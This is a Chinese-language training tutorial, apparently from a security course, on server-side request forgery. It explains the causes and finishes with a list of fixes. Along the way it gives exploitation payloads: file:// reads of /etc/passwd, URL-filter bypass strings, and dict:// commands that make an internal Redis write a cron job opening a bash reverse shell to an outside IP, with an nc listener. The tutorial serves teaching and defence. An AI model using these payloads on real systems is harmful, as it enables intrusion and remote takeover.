本文内容来自蚁景网安课程。
服务器请求伪造漏洞概述
什么是服务器请求
服务器请求指从客户端发起一个请求到服务端,服务端再向另外的服务端发起请求的过程。
什么是服务器请求伪造
SSRF(server-side request forgery),是一种由攻击者构造形成,由服务器端发起请求的一个漏洞。让服务器去请求你通常请求不到的东西。一般用来在外网探测或攻击内网服务。
漏洞成因
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。漏洞形成的原因大都是由于服务器端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据。
最常见的例子:攻击者传入一个未经验证的URL,后端代码直接请求这个URL,就会造成SSRF漏洞。
内网网段
10.0.0.0-10.255.255.255
172.16.0.0-172.31.255.255
192.168.0.0-192.168.255.255
漏洞危害
获取Web应用可达服务器服务的banner信息,以及收集内网Web应用的指纹识别,根据这些信息进行下一步的渗透。
攻击允许在内网的系统或者应用程序,获取内网系统弱口令进行内网漫游,对有漏洞的内网Web应用实施攻击。
服务端请求伪造漏洞场景
漏洞点
能够对外发起网络请求的地方,就可能存在SSRF漏洞。
从远程服务器请求资源(Upload from URL, Import & Export RSS Feed)
文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)
share、wap、url、link、src、source、target、u、3g、display、sourceURI、sourceURL、imageURL、domain等,如果利用google语法(iurl:url=)加上这些关键字去寻找SSRF漏洞,内心验证,还是可以找到存在的SSRF漏洞。
服务端请求伪造漏洞分类
相关函数
PHP中的函数:
|
|
Java中相关类:
仅支持HTTP/HTTPS协议的类:HttpClient类、HttpConnection类、OkHttp类、Request类。
支持sun.net.www.protocol所有协议的类:URL Connection类、URL类、ImageIO类。
类型
有回显:从页面中可以看到返回内容。
无回显:无法从页面中看到返回内容。
判断是否存在
在目标网站上输入攻击者的服务器IP,如果攻击者的服务器日志能看到目标服务器对自己发起了请求,说明存在漏洞。
服务器端请求伪造漏洞利用
读取敏感文件
file协议
本地文件传输协议,用于访问本地计算机中的文件。
格式
file:///filepath
/etc/passwd
在Linux中\etc\passwd
文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。系统管理员经常会接触到这个文件的修改以完成对用户的管理工作。
/etc/hosts
hosts文件主要用于定义IP地址和主机名的映射关系,当用户在浏览器中输入网址时,系统会首先自动从hosts文件中寻找对应的IP地址,如果能找到,浏览器就打开对应网页,如果无就将网址提交DNS服务器进行解析。
探测内网服务
dict协议
属于字典服务器,在ssrf中常用于探测目标服务器端口上运行的服务版本信息。
格式
dict://ip:port
先利用file协议读取/etc/hosts
获取IP,再通过dict协议读取目标服务器端口上运行的服务版本信息。
探测应用服务版本
获取Web应用可达服务器服务的banner信息,以及收集内网web应用的指纹识别,根据这些信息进行下一步的渗透。
探测内网redis
REmote DIctionary Server(Redis)是一个跨平台的非关系型数据库。
Redis一般绑定在本地的6379端口上,如果在没有开启认证的情况下,可以导致任意用户利用ssrf漏洞攻击内网中的未授权Redis以及读取Redis的数据。
攻击内网应用
dict攻击Redis
攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行Redis的用户是root用户,攻击者可以通过写定时任务的方式进行反弹shell。
写定时任务
CentOs,在/var/spool/cron/目录下。
Ubuntu,在/var/spool/crontabs/目录下。
得知该服务器系统为CentOs。
(如果是Ubuntu,应存在/etc/lsb-release
)
PayLoad
dict://172.17.0.3:6379/flushall
dict://172.17.0.3:6379/config set dir /var/spool/cron/
dict://172.17.0.3:6379/config set dbfilename root
dict://172.17.0.3:6379/set x "\n* * * * * bash -i &> /dev/tcp/120.27.61.239/2333 0>&1\n"
dict://172.17.0.3:6379/save
nc –lvvp 2333
gopher协议
gopher协议是比HTTP协议更早出现的协议,现在不常用,但在SSRF漏洞利用中还是很好用。可以使用gopher发送各种格式的请求包,可以攻击内网的FTP、Telnet、Redis、Memcache,也可以进行GET、POST请求,还可以攻击内网未授权MySQL.
gopher默认端口为70,需要指定Web端口和方法。数据部分需要进行url编码。回车换行使用%0d%0a
基本协议格式URL:
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
Gopherus的运用
在SSRF易受攻击的站点上生成Gopher负载以利用SSRF并获得RCE。
可以攻击的应用:MySQL、FastCGI、Memcached、Redis、Zabbix、SMTP。
拓展
绕过与防御
绕过
http://www.baidu.com@127.0.0.1
http://127.0.0.1:80
ip转进制
http:/0x7F000001
修复
过滤返回信息,验证远程服务器对请求的响应。
统一错误信息。
限制请求的端口为HTTP常用端口。
禁用不需要的协议,仅允许HTTP和HTTPS请求。
设置URL白名单或限制内网IP。